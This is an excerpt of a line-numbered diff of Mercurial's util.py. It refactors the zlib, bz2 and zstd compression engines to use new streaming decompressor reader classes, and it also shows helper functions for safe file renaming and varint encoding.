3198 def name(self):
3194 """Returns the name of the compression engine.
3199 """Returns the name of the compression engine.
3195
3200
3196 This is the key the engine is registered under.
3201 This is the key the engine is registered under.
3197
3202
3198 This method must be implemented.
3203 This method must be implemented.
3199 """
3204 """
3200 raise NotImplementedError()
3205 raise NotImplementedError()
3201
3206
3202 def available(self):
3207 def available(self):
3203 """Whether the compression engine is available.
3208 """Whether the compression engine is available.
3204
3209
3205 The intent of this method is to allow optional compression engines
3210 The intent of this method is to allow optional compression engines
3206 that may not be available in all installations (such as engines relying
3211 that may not be available in all installations (such as engines relying
3207 on C extensions that may not be present).
3212 on C extensions that may not be present).
3208 """
3213 """
3209 return True
3214 return True
3210
3215
3211 def bundletype(self):
3216 def bundletype(self):
3212 """Describes bundle identifiers for this engine.
3217 """Describes bundle identifiers for this engine.
3213
3218
3214 If this compression engine isn't supported for bundles, returns None.
3219 If this compression engine isn't supported for bundles, returns None.
3215
3220
3216 If this engine can be used for bundles, returns a 2-tuple of strings of
3221 If this engine can be used for bundles, returns a 2-tuple of strings of
3217 the user-facing "bundle spec" compression name and an internal
3222 the user-facing "bundle spec" compression name and an internal
3218 identifier used to denote the compression format within bundles. To
3223 identifier used to denote the compression format within bundles. To
3219 exclude the name from external usage, set the first element to ``None``.
3224 exclude the name from external usage, set the first element to ``None``.
3220
3225
3221 If bundle compression is supported, the class must also implement
3226 If bundle compression is supported, the class must also implement
3222 ``compressstream`` and `decompressorreader``.
3227 ``compressstream`` and `decompressorreader``.
3223
3228
3224 The docstring of this method is used in the help system to tell users
3229 The docstring of this method is used in the help system to tell users
3225 about this engine.
3230 about this engine.
3226 """
3231 """
3227 return None
3232 return None
3228
3233
3229 def wireprotosupport(self):
3234 def wireprotosupport(self):
3230 """Declare support for this compression format on the wire protocol.
3235 """Declare support for this compression format on the wire protocol.
3231
3236
3232 If this compression engine isn't supported for compressing wire
3237 If this compression engine isn't supported for compressing wire
3233 protocol payloads, returns None.
3238 protocol payloads, returns None.
3234
3239
3235 Otherwise, returns ``compenginewireprotosupport`` with the following
3240 Otherwise, returns ``compenginewireprotosupport`` with the following
3236 fields:
3241 fields:
3237
3242
3238 * String format identifier
3243 * String format identifier
3239 * Integer priority for the server
3244 * Integer priority for the server
3240 * Integer priority for the client
3245 * Integer priority for the client
3241
3246
3242 The integer priorities are used to order the advertisement of format
3247 The integer priorities are used to order the advertisement of format
3243 support by server and client. The highest integer is advertised
3248 support by server and client. The highest integer is advertised
3244 first. Integers with non-positive values aren't advertised.
3249 first. Integers with non-positive values aren't advertised.
3245
3250
3246 The priority values are somewhat arbitrary and only used for default
3251 The priority values are somewhat arbitrary and only used for default
3247 ordering. The relative order can be changed via config options.
3252 ordering. The relative order can be changed via config options.
3248
3253
3249 If wire protocol compression is supported, the class must also implement
3254 If wire protocol compression is supported, the class must also implement
3250 ``compressstream`` and ``decompressorreader``.
3255 ``compressstream`` and ``decompressorreader``.
3251 """
3256 """
3252 return None
3257 return None
3253
3258
3254 def revlogheader(self):
3259 def revlogheader(self):
3255 """Header added to revlog chunks that identifies this engine.
3260 """Header added to revlog chunks that identifies this engine.
3256
3261
3257 If this engine can be used to compress revlogs, this method should
3262 If this engine can be used to compress revlogs, this method should
3258 return the bytes used to identify chunks compressed with this engine.
3263 return the bytes used to identify chunks compressed with this engine.
3259 Else, the method should return ``None`` to indicate it does not
3264 Else, the method should return ``None`` to indicate it does not
3260 participate in revlog compression.
3265 participate in revlog compression.
3261 """
3266 """
3262 return None
3267 return None
3263
3268
3264 def compressstream(self, it, opts=None):
3269 def compressstream(self, it, opts=None):
3265 """Compress an iterator of chunks.
3270 """Compress an iterator of chunks.
3266
3271
3267 The method receives an iterator (ideally a generator) of chunks of
3272 The method receives an iterator (ideally a generator) of chunks of
3268 bytes to be compressed. It returns an iterator (ideally a generator)
3273 bytes to be compressed. It returns an iterator (ideally a generator)
3269 of bytes of chunks representing the compressed output.
3274 of bytes of chunks representing the compressed output.
3270
3275
3271 Optionally accepts an argument defining how to perform compression.
3276 Optionally accepts an argument defining how to perform compression.
3272 Each engine treats this argument differently.
3277 Each engine treats this argument differently.
3273 """
3278 """
3274 raise NotImplementedError()
3279 raise NotImplementedError()
3275
3280
3276 def decompressorreader(self, fh):
3281 def decompressorreader(self, fh):
3277 """Perform decompression on a file object.
3282 """Perform decompression on a file object.
3278
3283
3279 Argument is an object with a ``read(size)`` method that returns
3284 Argument is an object with a ``read(size)`` method that returns
3280 compressed data. Return value is an object with a ``read(size)`` that
3285 compressed data. Return value is an object with a ``read(size)`` that
3281 returns uncompressed data.
3286 returns uncompressed data.
3282 """
3287 """
3283 raise NotImplementedError()
3288 raise NotImplementedError()
3284
3289
3285 def revlogcompressor(self, opts=None):
3290 def revlogcompressor(self, opts=None):
3286 """Obtain an object that can be used to compress revlog entries.
3291 """Obtain an object that can be used to compress revlog entries.
3287
3292
3288 The object has a ``compress(data)`` method that compresses binary
3293 The object has a ``compress(data)`` method that compresses binary
3289 data. This method returns compressed binary data or ``None`` if
3294 data. This method returns compressed binary data or ``None`` if
3290 the data could not be compressed (too small, not compressible, etc).
3295 the data could not be compressed (too small, not compressible, etc).
3291 The returned data should have a header uniquely identifying this
3296 The returned data should have a header uniquely identifying this
3292 compression format so decompression can be routed to this engine.
3297 compression format so decompression can be routed to this engine.
3293 This header should be identified by the ``revlogheader()`` return
3298 This header should be identified by the ``revlogheader()`` return
3294 value.
3299 value.
3295
3300
3296 The object has a ``decompress(data)`` method that decompresses
3301 The object has a ``decompress(data)`` method that decompresses
3297 data. The method will only be called if ``data`` begins with
3302 data. The method will only be called if ``data`` begins with
3298 ``revlogheader()``. The method should return the raw, uncompressed
3303 ``revlogheader()``. The method should return the raw, uncompressed
3299 data or raise a ``RevlogError``.
3304 data or raise a ``RevlogError``.
3300
3305
3301 The object is reusable but is not thread safe.
3306 The object is reusable but is not thread safe.
3302 """
3307 """
3303 raise NotImplementedError()
3308 raise NotImplementedError()
3304
3309
3310 class _CompressedStreamReader(object):
3311 def __init__(self, fh):
3312 if safehasattr(fh, 'unbufferedread'):
3313 self._reader = fh.unbufferedread
3314 else:
3315 self._reader = fh.read
3316 self._pending = []
3317 self._pos = 0
3318 self._eof = False
3319
3320 def _decompress(self, chunk):
3321 raise NotImplementedError()
3322
3323 def read(self, l):
3324 buf = []
3325 while True:
3326 while self._pending:
3327 if len(self._pending[0]) > l + self._pos:
3328 newbuf = self._pending[0]
3329 buf.append(newbuf[self._pos:self._pos + l])
3330 self._pos += l
3331 return ''.join(buf)
3332
3333 newbuf = self._pending.pop(0)
3334 if self._pos:
3335 buf.append(newbuf[self._pos:])
3336 l -= len(newbuf) - self._pos
3337 else:
3338 buf.append(newbuf)
3339 l -= len(newbuf)
3340 self._pos = 0
3341
3342 if self._eof:
3343 return ''.join(buf)
3344 chunk = self._reader(65536)
3345 self._decompress(chunk)
3346
3347 class _GzipCompressedStreamReader(_CompressedStreamReader):
3348 def __init__(self, fh):
3349 super(_GzipCompressedStreamReader, self).__init__(fh)
3350 self._decompobj = zlib.decompressobj()
3351 def _decompress(self, chunk):
3352 newbuf = self._decompobj.decompress(chunk)
3353 if newbuf:
3354 self._pending.append(newbuf)
3355 d = self._decompobj.copy()
3356 try:
3357 d.decompress('x')
3358 d.flush()
3359 if d.unused_data == 'x':
3360 self._eof = True
3361 except zlib.error:
3362 pass
3363
3364 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3365 def __init__(self, fh):
3366 super(_BZ2CompressedStreamReader, self).__init__(fh)
3367 self._decompobj = bz2.BZ2Decompressor()
3368 def _decompress(self, chunk):
3369 newbuf = self._decompobj.decompress(chunk)
3370 if newbuf:
3371 self._pending.append(newbuf)
3372 try:
3373 while True:
3374 newbuf = self._decompobj.decompress('')
3375 if newbuf:
3376 self._pending.append(newbuf)
3377 else:
3378 break
3379 except EOFError:
3380 self._eof = True
3381
3382 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3383 def __init__(self, fh):
3384 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3385 newbuf = self._decompobj.decompress('BZ')
3386 if newbuf:
3387 self._pending.append(newbuf)
3388
3389 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3390 def __init__(self, fh, zstd):
3391 super(_ZstdCompressedStreamReader, self).__init__(fh)
3392 self._zstd = zstd
3393 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3394 def _decompress(self, chunk):
3395 newbuf = self._decompobj.decompress(chunk)
3396 if newbuf:
3397 self._pending.append(newbuf)
3398 try:
3399 while True:
3400 newbuf = self._decompobj.decompress('')
3401 if newbuf:
3402 self._pending.append(newbuf)
3403 else:
3404 break
3405 except self._zstd.ZstdError:
3406 self._eof = True
3407
3305 class _zlibengine(compressionengine):
3408 class _zlibengine(compressionengine):
3306 def name(self):
3409 def name(self):
3307 return 'zlib'
3410 return 'zlib'
3308
3411
3309 def bundletype(self):
3412 def bundletype(self):
3310 """zlib compression using the DEFLATE algorithm.
3413 """zlib compression using the DEFLATE algorithm.
3311
3414
3312 All Mercurial clients should support this format. The compression
3415 All Mercurial clients should support this format. The compression
3313 algorithm strikes a reasonable balance between compression ratio
3416 algorithm strikes a reasonable balance between compression ratio
3314 and size.
3417 and size.
3315 """
3418 """
3316 return 'gzip', 'GZ'
3419 return 'gzip', 'GZ'
3317
3420
3318 def wireprotosupport(self):
3421 def wireprotosupport(self):
3319 return compewireprotosupport('zlib', 20, 20)
3422 return compewireprotosupport('zlib', 20, 20)
3320
3423
3321 def revlogheader(self):
3424 def revlogheader(self):
3322 return 'x'
3425 return 'x'
3323
3426
3324 def compressstream(self, it, opts=None):
3427 def compressstream(self, it, opts=None):
3325 opts = opts or {}
3428 opts = opts or {}
3326
3429
3327 z = zlib.compressobj(opts.get('level', -1))
3430 z = zlib.compressobj(opts.get('level', -1))
3328 for chunk in it:
3431 for chunk in it:
3329 data = z.compress(chunk)
3432 data = z.compress(chunk)
3330 # Not all calls to compress emit data. It is cheaper to inspect
3433 # Not all calls to compress emit data. It is cheaper to inspect
3331 # here than to feed empty chunks through generator.
3434 # here than to feed empty chunks through generator.
3332 if data:
3435 if data:
3333 yield data
3436 yield data
3334
3437
3335 yield z.flush()
3438 yield z.flush()
3336
3439
3337 def decompressorreader(self, fh):
3440 def decompressorreader(self, fh):
3338 def gen():
3441 return _GzipCompressedStreamReader(fh)
3339 d = zlib.decompressobj()
3340 for chunk in filechunkiter(fh):
3341 while chunk:
3342 # Limit output size to limit memory.
3343 yield d.decompress(chunk, 2 ** 18)
3344 chunk = d.unconsumed_tail
3345
3346 return chunkbuffer(gen())
3347
3442
3348 class zlibrevlogcompressor(object):
3443 class zlibrevlogcompressor(object):
3349 def compress(self, data):
3444 def compress(self, data):
3350 insize = len(data)
3445 insize = len(data)
3351 # Caller handles empty input case.
3446 # Caller handles empty input case.
3352 assert insize > 0
3447 assert insize > 0
3353
3448
3354 if insize < 44:
3449 if insize < 44:
3355 return None
3450 return None
3356
3451
3357 elif insize <= 1000000:
3452 elif insize <= 1000000:
3358 compressed = zlib.compress(data)
3453 compressed = zlib.compress(data)
3359 if len(compressed) < insize:
3454 if len(compressed) < insize:
3360 return compressed
3455 return compressed
3361 return None
3456 return None
3362
3457
3363 # zlib makes an internal copy of the input buffer, doubling
3458 # zlib makes an internal copy of the input buffer, doubling
3364 # memory usage for large inputs. So do streaming compression
3459 # memory usage for large inputs. So do streaming compression
3365 # on large inputs.
3460 # on large inputs.
3366 else:
3461 else:
3367 z = zlib.compressobj()
3462 z = zlib.compressobj()
3368 parts = []
3463 parts = []
3369 pos = 0
3464 pos = 0
3370 while pos < insize:
3465 while pos < insize:
3371 pos2 = pos + 2**20
3466 pos2 = pos + 2**20
3372 parts.append(z.compress(data[pos:pos2]))
3467 parts.append(z.compress(data[pos:pos2]))
3373 pos = pos2
3468 pos = pos2
3374 parts.append(z.flush())
3469 parts.append(z.flush())
3375
3470
3376 if sum(map(len, parts)) < insize:
3471 if sum(map(len, parts)) < insize:
3377 return ''.join(parts)
3472 return ''.join(parts)
3378 return None
3473 return None
3379
3474
3380 def decompress(self, data):
3475 def decompress(self, data):
3381 try:
3476 try:
3382 return zlib.decompress(data)
3477 return zlib.decompress(data)
3383 except zlib.error as e:
3478 except zlib.error as e:
3384 raise error.RevlogError(_('revlog decompress error: %s') %
3479 raise error.RevlogError(_('revlog decompress error: %s') %
3385 stringutil.forcebytestr(e))
3480 stringutil.forcebytestr(e))
3386
3481
3387 def revlogcompressor(self, opts=None):
3482 def revlogcompressor(self, opts=None):
3388 return self.zlibrevlogcompressor()
3483 return self.zlibrevlogcompressor()
3389
3484
3390 compengines.register(_zlibengine())
3485 compengines.register(_zlibengine())
3391
3486
3392 class _bz2engine(compressionengine):
3487 class _bz2engine(compressionengine):
3393 def name(self):
3488 def name(self):
3394 return 'bz2'
3489 return 'bz2'
3395
3490
3396 def bundletype(self):
3491 def bundletype(self):
3397 """An algorithm that produces smaller bundles than ``gzip``.
3492 """An algorithm that produces smaller bundles than ``gzip``.
3398
3493
3399 All Mercurial clients should support this format.
3494 All Mercurial clients should support this format.
3400
3495
3401 This engine will likely produce smaller bundles than ``gzip`` but
3496 This engine will likely produce smaller bundles than ``gzip`` but
3402 will be significantly slower, both during compression and
3497 will be significantly slower, both during compression and
3403 decompression.
3498 decompression.
3404
3499
3405 If available, the ``zstd`` engine can yield similar or better
3500 If available, the ``zstd`` engine can yield similar or better
3406 compression at much higher speeds.
3501 compression at much higher speeds.
3407 """
3502 """
3408 return 'bzip2', 'BZ'
3503 return 'bzip2', 'BZ'
3409
3504
3410 # We declare a protocol name but don't advertise by default because
3505 # We declare a protocol name but don't advertise by default because
3411 # it is slow.
3506 # it is slow.
3412 def wireprotosupport(self):
3507 def wireprotosupport(self):
3413 return compewireprotosupport('bzip2', 0, 0)
3508 return compewireprotosupport('bzip2', 0, 0)
3414
3509
3415 def compressstream(self, it, opts=None):
3510 def compressstream(self, it, opts=None):
3416 opts = opts or {}
3511 opts = opts or {}
3417 z = bz2.BZ2Compressor(opts.get('level', 9))
3512 z = bz2.BZ2Compressor(opts.get('level', 9))
3418 for chunk in it:
3513 for chunk in it:
3419 data = z.compress(chunk)
3514 data = z.compress(chunk)
3420 if data:
3515 if data:
3421 yield data
3516 yield data
3422
3517
3423 yield z.flush()
3518 yield z.flush()
3424
3519
3425 def decompressorreader(self, fh):
3520 def decompressorreader(self, fh):
3426 def gen():
3521 return _BZ2CompressedStreamReader(fh)
3427 d = bz2.BZ2Decompressor()
3428 for chunk in filechunkiter(fh):
3429 yield d.decompress(chunk)
3430
3431 return chunkbuffer(gen())
3432
3522
3433 compengines.register(_bz2engine())
3523 compengines.register(_bz2engine())
3434
3524
3435 class _truncatedbz2engine(compressionengine):
3525 class _truncatedbz2engine(compressionengine):
3436 def name(self):
3526 def name(self):
3437 return 'bz2truncated'
3527 return 'bz2truncated'
3438
3528
3439 def bundletype(self):
3529 def bundletype(self):
3440 return None, '_truncatedBZ'
3530 return None, '_truncatedBZ'
3441
3531
3442 # We don't implement compressstream because it is hackily handled elsewhere.
3532 # We don't implement compressstream because it is hackily handled elsewhere.
3443
3533
3444 def decompressorreader(self, fh):
3534 def decompressorreader(self, fh):
3445 def gen():
3535 return _TruncatedBZ2CompressedStreamReader(fh)
3446 # The input stream doesn't have the 'BZ' header. So add it back.
3447 d = bz2.BZ2Decompressor()
3448 d.decompress('BZ')
3449 for chunk in filechunkiter(fh):
3450 yield d.decompress(chunk)
3451
3452 return chunkbuffer(gen())
3453
3536
3454 compengines.register(_truncatedbz2engine())
3537 compengines.register(_truncatedbz2engine())
3455
3538
3456 class _noopengine(compressionengine):
3539 class _noopengine(compressionengine):
3457 def name(self):
3540 def name(self):
3458 return 'none'
3541 return 'none'
3459
3542
3460 def bundletype(self):
3543 def bundletype(self):
3461 """No compression is performed.
3544 """No compression is performed.
3462
3545
3463 Use this compression engine to explicitly disable compression.
3546 Use this compression engine to explicitly disable compression.
3464 """
3547 """
3465 return 'none', 'UN'
3548 return 'none', 'UN'
3466
3549
3467 # Clients always support uncompressed payloads. Servers don't because
3550 # Clients always support uncompressed payloads. Servers don't because
3468 # unless you are on a fast network, uncompressed payloads can easily
3551 # unless you are on a fast network, uncompressed payloads can easily
3469 # saturate your network pipe.
3552 # saturate your network pipe.
3470 def wireprotosupport(self):
3553 def wireprotosupport(self):
3471 return compewireprotosupport('none', 0, 10)
3554 return compewireprotosupport('none', 0, 10)
3472
3555
3473 # We don't implement revlogheader because it is handled specially
3556 # We don't implement revlogheader because it is handled specially
3474 # in the revlog class.
3557 # in the revlog class.
3475
3558
3476 def compressstream(self, it, opts=None):
3559 def compressstream(self, it, opts=None):
3477 return it
3560 return it
3478
3561
3479 def decompressorreader(self, fh):
3562 def decompressorreader(self, fh):
3480 return fh
3563 return fh
3481
3564
3482 class nooprevlogcompressor(object):
3565 class nooprevlogcompressor(object):
3483 def compress(self, data):
3566 def compress(self, data):
3484 return None
3567 return None
3485
3568
3486 def revlogcompressor(self, opts=None):
3569 def revlogcompressor(self, opts=None):
3487 return self.nooprevlogcompressor()
3570 return self.nooprevlogcompressor()
3488
3571
3489 compengines.register(_noopengine())
3572 compengines.register(_noopengine())
3490
3573
3491 class _zstdengine(compressionengine):
3574 class _zstdengine(compressionengine):
3492 def name(self):
3575 def name(self):
3493 return 'zstd'
3576 return 'zstd'
3494
3577
3495 @propertycache
3578 @propertycache
3496 def _module(self):
3579 def _module(self):
3497 # Not all installs have the zstd module available. So defer importing
3580 # Not all installs have the zstd module available. So defer importing
3498 # until first access.
3581 # until first access.
3499 try:
3582 try:
3500 from . import zstd
3583 from . import zstd
3501 # Force delayed import.
3584 # Force delayed import.
3502 zstd.__version__
3585 zstd.__version__
3503 return zstd
3586 return zstd
3504 except ImportError:
3587 except ImportError:
3505 return None
3588 return None
3506
3589
3507 def available(self):
3590 def available(self):
3508 return bool(self._module)
3591 return bool(self._module)
3509
3592
3510 def bundletype(self):
3593 def bundletype(self):
3511 """A modern compression algorithm that is fast and highly flexible.
3594 """A modern compression algorithm that is fast and highly flexible.
3512
3595
3513 Only supported by Mercurial 4.1 and newer clients.
3596 Only supported by Mercurial 4.1 and newer clients.
3514
3597
3515 With the default settings, zstd compression is both faster and yields
3598 With the default settings, zstd compression is both faster and yields
3516 better compression than ``gzip``. It also frequently yields better
3599 better compression than ``gzip``. It also frequently yields better
3517 compression than ``bzip2`` while operating at much higher speeds.
3600 compression than ``bzip2`` while operating at much higher speeds.
3518
3601
3519 If this engine is available and backwards compatibility is not a
3602 If this engine is available and backwards compatibility is not a
3520 concern, it is likely the best available engine.
3603 concern, it is likely the best available engine.
3521 """
3604 """
3522 return 'zstd', 'ZS'
3605 return 'zstd', 'ZS'
3523
3606
3524 def wireprotosupport(self):
3607 def wireprotosupport(self):
3525 return compewireprotosupport('zstd', 50, 50)
3608 return compewireprotosupport('zstd', 50, 50)
3526
3609
3527 def revlogheader(self):
3610 def revlogheader(self):
3528 return '\x28'
3611 return '\x28'
3529
3612
3530 def compressstream(self, it, opts=None):
3613 def compressstream(self, it, opts=None):
3531 opts = opts or {}
3614 opts = opts or {}
3532 # zstd level 3 is almost always significantly faster than zlib
3615 # zstd level 3 is almost always significantly faster than zlib
3533 # while providing no worse compression. It strikes a good balance
3616 # while providing no worse compression. It strikes a good balance
3534 # between speed and compression.
3617 # between speed and compression.
3535 level = opts.get('level', 3)
3618 level = opts.get('level', 3)
3536
3619
3537 zstd = self._module
3620 zstd = self._module
3538 z = zstd.ZstdCompressor(level=level).compressobj()
3621 z = zstd.ZstdCompressor(level=level).compressobj()
3539 for chunk in it:
3622 for chunk in it:
3540 data = z.compress(chunk)
3623 data = z.compress(chunk)
3541 if data:
3624 if data:
3542 yield data
3625 yield data
3543
3626
3544 yield z.flush()
3627 yield z.flush()
3545
3628
3546 def decompressorreader(self, fh):
3629 def decompressorreader(self, fh):
3547 zstd = self._module
3630 return _ZstdCompressedStreamReader(fh, self._module)
3548 dctx = zstd.ZstdDecompressor()
3549 return chunkbuffer(dctx.read_from(fh))
3550
3631
3551 class zstdrevlogcompressor(object):
3632 class zstdrevlogcompressor(object):
3552 def __init__(self, zstd, level=3):
3633 def __init__(self, zstd, level=3):
3553 # TODO consider omitting frame magic to save 4 bytes.
3634 # TODO consider omitting frame magic to save 4 bytes.
3554 # This writes content sizes into the frame header. That is
3635 # This writes content sizes into the frame header. That is
3555 # extra storage. But it allows a correct size memory allocation
3636 # extra storage. But it allows a correct size memory allocation
3556 # to hold the result.
3637 # to hold the result.
3557 self._cctx = zstd.ZstdCompressor(level=level)
3638 self._cctx = zstd.ZstdCompressor(level=level)
3558 self._dctx = zstd.ZstdDecompressor()
3639 self._dctx = zstd.ZstdDecompressor()
3559 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3640 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3560 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3641 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3561
3642
3562 def compress(self, data):
3643 def compress(self, data):
3563 insize = len(data)
3644 insize = len(data)
3564 # Caller handles empty input case.
3645 # Caller handles empty input case.
3565 assert insize > 0
3646 assert insize > 0
3566
3647
3567 if insize < 50:
3648 if insize < 50:
3568 return None
3649 return None
3569
3650
3570 elif insize <= 1000000:
3651 elif insize <= 1000000:
3571 compressed = self._cctx.compress(data)
3652 compressed = self._cctx.compress(data)
3572 if len(compressed) < insize:
3653 if len(compressed) < insize:
3573 return compressed
3654 return compressed
3574 return None
3655 return None
3575 else:
3656 else:
3576 z = self._cctx.compressobj()
3657 z = self._cctx.compressobj()
3577 chunks = []
3658 chunks = []
3578 pos = 0
3659 pos = 0
3579 while pos < insize:
3660 while pos < insize:
3580 pos2 = pos + self._compinsize
3661 pos2 = pos + self._compinsize
3581 chunk = z.compress(data[pos:pos2])
3662 chunk = z.compress(data[pos:pos2])
3582 if chunk:
3663 if chunk:
3583 chunks.append(chunk)
3664 chunks.append(chunk)
3584 pos = pos2
3665 pos = pos2
3585 chunks.append(z.flush())
3666 chunks.append(z.flush())
3586
3667
3587 if sum(map(len, chunks)) < insize:
3668 if sum(map(len, chunks)) < insize:
3588 return ''.join(chunks)
3669 return ''.join(chunks)
3589 return None
3670 return None
3590
3671
3591 def decompress(self, data):
3672 def decompress(self, data):
3592 insize = len(data)
3673 insize = len(data)
3593
3674
3594 try:
3675 try:
3595 # This was measured to be faster than other streaming
3676 # This was measured to be faster than other streaming
3596 # decompressors.
3677 # decompressors.
3597 dobj = self._dctx.decompressobj()
3678 dobj = self._dctx.decompressobj()
3598 chunks = []
3679 chunks = []
3599 pos = 0
3680 pos = 0
3600 while pos < insize:
3681 while pos < insize:
3601 pos2 = pos + self._decompinsize
3682 pos2 = pos + self._decompinsize
3602 chunk = dobj.decompress(data[pos:pos2])
3683 chunk = dobj.decompress(data[pos:pos2])
3603 if chunk:
3684 if chunk:
3604 chunks.append(chunk)
3685 chunks.append(chunk)
3605 pos = pos2
3686 pos = pos2
3606 # Frame should be exhausted, so no finish() API.
3687 # Frame should be exhausted, so no finish() API.
3607
3688
3608 return ''.join(chunks)
3689 return ''.join(chunks)
3609 except Exception as e:
3690 except Exception as e:
3610 raise error.RevlogError(_('revlog decompress error: %s') %
3691 raise error.RevlogError(_('revlog decompress error: %s') %
3611 stringutil.forcebytestr(e))
3692 stringutil.forcebytestr(e))
3612
3693
3613 def revlogcompressor(self, opts=None):
3694 def revlogcompressor(self, opts=None):
3614 opts = opts or {}
3695 opts = opts or {}
3615 return self.zstdrevlogcompressor(self._module,
3696 return self.zstdrevlogcompressor(self._module,
3616 level=opts.get('level', 3))
3697 level=opts.get('level', 3))
3617
3698
3618 compengines.register(_zstdengine())
3699 compengines.register(_zstdengine())
3619
3700
3620 def bundlecompressiontopics():
3701 def bundlecompressiontopics():
3621 """Obtains a list of available bundle compressions for use in help."""
3702 """Obtains a list of available bundle compressions for use in help."""
3622 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3703 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3623 items = {}
3704 items = {}
3624
3705
3625 # We need to format the docstring. So use a dummy object/type to hold it
3706 # We need to format the docstring. So use a dummy object/type to hold it
3626 # rather than mutating the original.
3707 # rather than mutating the original.
3627 class docobject(object):
3708 class docobject(object):
3628 pass
3709 pass
3629
3710
3630 for name in compengines:
3711 for name in compengines:
3631 engine = compengines[name]
3712 engine = compengines[name]
3632
3713
3633 if not engine.available():
3714 if not engine.available():
3634 continue
3715 continue
3635
3716
3636 bt = engine.bundletype()
3717 bt = engine.bundletype()
3637 if not bt or not bt[0]:
3718 if not bt or not bt[0]:
3638 continue
3719 continue
3639
3720
3640 doc = pycompat.sysstr('``%s``\n %s') % (
3721 doc = pycompat.sysstr('``%s``\n %s') % (
3641 bt[0], engine.bundletype.__doc__)
3722 bt[0], engine.bundletype.__doc__)
3642
3723
3643 value = docobject()
3724 value = docobject()
3644 value.__doc__ = doc
3725 value.__doc__ = doc
3645 value._origdoc = engine.bundletype.__doc__
3726 value._origdoc = engine.bundletype.__doc__
3646 value._origfunc = engine.bundletype
3727 value._origfunc = engine.bundletype
3647
3728
3648 items[bt[0]] = value
3729 items[bt[0]] = value
3649
3730
3650 return items
3731 return items
3651
3732
3652 i18nfunctions = bundlecompressiontopics().values()
3733 i18nfunctions = bundlecompressiontopics().values()
3653
3734
3654 # convenient shortcut
3735 # convenient shortcut
3655 dst = debugstacktrace
3736 dst = debugstacktrace
3656
3737
3657 def safename(f, tag, ctx, others=None):
3738 def safename(f, tag, ctx, others=None):
3658 """
3739 """
3659 Generate a name that it is safe to rename f to in the given context.
3740 Generate a name that it is safe to rename f to in the given context.
3660
3741
3661 f: filename to rename
3742 f: filename to rename
3662 tag: a string tag that will be included in the new name
3743 tag: a string tag that will be included in the new name
3663 ctx: a context, in which the new name must not exist
3744 ctx: a context, in which the new name must not exist
3664 others: a set of other filenames that the new name must not be in
3745 others: a set of other filenames that the new name must not be in
3665
3746
3666 Returns a file name of the form oldname~tag[~number] which does not exist
3747 Returns a file name of the form oldname~tag[~number] which does not exist
3667 in the provided context and is not in the set of other names.
3748 in the provided context and is not in the set of other names.
3668 """
3749 """
3669 if others is None:
3750 if others is None:
3670 others = set()
3751 others = set()
3671
3752
3672 fn = '%s~%s' % (f, tag)
3753 fn = '%s~%s' % (f, tag)
3673 if fn not in ctx and fn not in others:
3754 if fn not in ctx and fn not in others:
3674 return fn
3755 return fn
3675 for n in itertools.count(1):
3756 for n in itertools.count(1):
3676 fn = '%s~%s~%s' % (f, tag, n)
3757 fn = '%s~%s~%s' % (f, tag, n)
3677 if fn not in ctx and fn not in others:
3758 if fn not in ctx and fn not in others:
3678 return fn
3759 return fn
3679
3760
3680 def readexactly(stream, n):
3761 def readexactly(stream, n):
3681 '''read n bytes from stream.read and abort if less was available'''
3762 '''read n bytes from stream.read and abort if less was available'''
3682 s = stream.read(n)
3763 s = stream.read(n)
3683 if len(s) < n:
3764 if len(s) < n:
3684 raise error.Abort(_("stream ended unexpectedly"
3765 raise error.Abort(_("stream ended unexpectedly"
3685 " (got %d bytes, expected %d)")
3766 " (got %d bytes, expected %d)")
3686 % (len(s), n))
3767 % (len(s), n))
3687 return s
3768 return s
3688
3769
3689 def uvarintencode(value):
3770 def uvarintencode(value):
3690 """Encode an unsigned integer value to a varint.
3771 """Encode an unsigned integer value to a varint.
3691
3772
3692 A varint is a variable length integer of 1 or more bytes. Each byte
3773 A varint is a variable length integer of 1 or more bytes. Each byte
3693 except the last has the most significant bit set. The lower 7 bits of
3774 except the last has the most significant bit set. The lower 7 bits of
3694 each byte store the 2's complement representation, least significant group
3775 each byte store the 2's complement representation, least significant group
3695 first.
3776 first.
3696
3777
3697 >>> uvarintencode(0)
3778 >>> uvarintencode(0)
3698 '\\x00'
3779 '\\x00'
3699 >>> uvarintencode(1)
3780 >>> uvarintencode(1)
3700 '\\x01'
3781 '\\x01'
3701 >>> uvarintencode(127)
3782 >>> uvarintencode(127)
3702 '\\x7f'
3783 '\\x7f'
3703 >>> uvarintencode(1337)
3784 >>> uvarintencode(1337)
3704 '\\xb9\\n'
3785 '\\xb9\\n'
3705 >>> uvarintencode(65536)
3786 >>> uvarintencode(65536)
3706 '\\x80\\x80\\x04'
3787 '\\x80\\x80\\x04'
3707 >>> uvarintencode(-1)
3788 >>> uvarintencode(-1)
3708 Traceback (most recent call last):
3789 Traceback (most recent call last):
3709 ...
3790 ...
3710 ProgrammingError: negative value for uvarint: -1
3791 ProgrammingError: negative value for uvarint: -1
3711 """
3792 """
3712 if value < 0:
3793 if value < 0:
3713 raise error.ProgrammingError('negative value for uvarint: %d'
3794 raise error.ProgrammingError('negative value for uvarint: %d'
3714 % value)
3795 % value)
3715 bits = value & 0x7f
3796 bits = value & 0x7f
3716 value >>= 7
3797 value >>= 7
3717 bytes = []
3798 bytes = []
3718 while value:
3799 while value:
3719 bytes.append(pycompat.bytechr(0x80 | bits))
3800 bytes.append(pycompat.bytechr(0x80 | bits))
3720 bits = value & 0x7f
3801 bits = value & 0x7f
3721 value >>= 7
3802 value >>= 7
3722 bytes.append(pycompat.bytechr(bits))
3803 bytes.append(pycompat.bytechr(bits))
3723
3804
3724 return ''.join(bytes)
3805 return ''.join(bytes)
3725
3806
3726 def uvarintdecodestream(fh):
3807 def uvarintdecodestream(fh):
3727 """Decode an unsigned variable length integer from a stream.
3808 """Decode an unsigned variable length integer from a stream.
3728
3809
3729 The passed argument is anything that has a ``.read(N)`` method.
